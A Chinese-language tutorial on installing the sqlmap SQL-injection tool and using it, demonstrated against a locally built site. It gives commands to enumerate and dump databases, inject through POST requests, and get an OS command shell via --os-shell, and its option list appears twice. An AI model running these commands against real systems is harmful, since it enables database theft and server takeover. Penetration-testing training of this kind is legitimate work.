sqlmap是基於python環境的,所以在這之前需要安裝python環境
Sqlmap的使用
Sqlmap是開源自動化利用工具,只是12種數據庫,在/plugins中可以看到支持的數據庫,在所有注入工具中最好用。
安裝sqlmap
1、sqlmap搭配python使用,所以搭建python環境(2.7)
去官網下載即可,安裝后不需單獨配置環境
2、下載sqlmap
官網下載即可,下載解壓后把解壓后的文件夾放在python的文件路徑下
3、測試是否安裝成功
打開cmd,進入sqlmap文件路徑下
輸入python sqlmap.py --version,若出現一下信息,則說明安裝成功
4、在桌面創建快捷方式
下一步命名為sqlmap
然后確定
右鍵屬性,將起始位置設置為sqlmqp文件路徑
這樣就可以快捷使用sqlmap了
使用sqlmap
1、Sqlmap -u 目標url
本次測試用的本地搭建的網站
開始測試
測試結果,表明有注入點
結果存放在上訴路徑的這個文件中
2、查看目標所有數據庫
Sqlmap.py -u “url” --dbs
查看文件log
3、獲取當前數據庫
Sqlmap.py -u “url” --current-db --dbms mysql
4、獲取當前數據庫下的表
Sqlmap.py -u “url” -D 數據庫名 --tables
5、獲取字段名
Sqlmap.py -u “url” -D 數據庫名 -T表名 --colums(多個字段名需要用逗號隔開)
6、獲取內容
Sqlmap.py -u “url” -D 數據庫名 -T表名 --dump
至此,測試完成。
sqlmap的基礎命令(常用)
-u:指定被掃描的url
-b:獲取banner信息
--is-dba:是否是管理員權限
--current-db:當前數據庫
--current-user:當前用戶
--dbs:列舉數據庫
--tables:列舉數據庫的表名
--count:檢索所有條目數
--columns:獲取表的列名
--dump:獲取表中的數據,包含列
-v:顯示詳細信息
sqlmap進階命令(常用)
--level:測試等級(1-5),默認為1。大於2時,會檢測cookie注入;大於3時,會檢測頭注入
--risk:執行測試的風險(0-3,默認為1)。risk越高,檢測越慢越安全
--technique:指定注入類型。B->布爾注入;E->報錯注入;U->聯合查詢;T->延時注入;S->堆疊查詢
--time-sec :DBMS響應的延遲時間(默認為5秒)
--proxy:使用代理服務器連接到目標URL
--cookie:指定cookie
--user-agent:指定請求頭。默認情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)
--random-agent:從./txt/user-agents.txt中獲取隨機獲取請求頭
--method:強制使用給定的HTTP方法
--safe-freq:測試一個給定安全網址的兩個訪問請求
--delay:可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,默認是沒有延遲的
--timeout:可以設定一個HTTP(S)請求超過多久判定為超時,10表示10秒,默認是30秒
--dbms:指定數據庫。mysql、oracle、mssql等
--os:指定操作系統
--os-shell:獲取一個shell,根據網站的語言
sqlmap的基礎命令(常用)
-u:指定被掃描的url
-b:獲取banner信息
--is-dba:是否是管理員權限
--current-db:當前數據庫
--current-user:當前用戶
--dbs:列舉數據庫
--tables:列舉數據庫的表名
--count:檢索所有條目數
--columns:獲取表的列名
--dump:獲取表中的數據,包含列
-v:顯示詳細信息
sqlmap進階命令(常用)
--level:測試等級(1-5),默認為1。大於2時,會檢測cookie注入;大於3時,會檢測頭注入
--risk:執行測試的風險(0-3,默認為1)。risk越高,檢測越慢越安全
--technique:指定注入類型。B->布爾注入;E->報錯注入;U->聯合查詢;T->延時注入;S->堆疊查詢
--time-sec :DBMS響應的延遲時間(默認為5秒)
--proxy:使用代理服務器連接到目標URL
--cookie:指定cookie
--user-agent:指定請求頭。默認情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)
--random-agent:從./txt/user-agents.txt中獲取隨機獲取請求頭
--method:強制使用給定的HTTP方法
--safe-freq:測試一個給定安全網址的兩個訪問請求
--delay:可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,默認是沒有延遲的
--timeout:可以設定一個HTTP(S)請求超過多久判定為超時,10表示10秒,默認是30秒
--dbms:指定數據庫。mysql、oracle、mssql等
--os:指定操作系統
--os-shell:獲取一個shell,根據網站的語言
Post注入的sqlmap利用方法
攔截數據包保存txt文件post.txt
Python sqlmap.py -r post.txt -p “uname” (-r 讀取指定的文件,-p告訴sqlmap測試那個參數)
Sqlmap注入點執行系統命令或者交互式shell
(條件:1、數據庫有寫文件權限;
2、需要知道web路徑)
Sqlmap.py -u “target_url” --os-cmd=ipconfig
Sqlmap.py -u “target_url” --os-shell獲取系統的shell
Sqlmap.py -u “target_url” --os-dba判斷當前用戶是不是dba
Sqlmap直連mysql數據庫
Sqlmap.py -d “mysql://root:root@192.168.91.1:3306/mysql” -f --banner --dbs --users
sqlmap注入利用access
Access數據庫沒有庫的概念,打開數據庫文件只看到表和字段和內容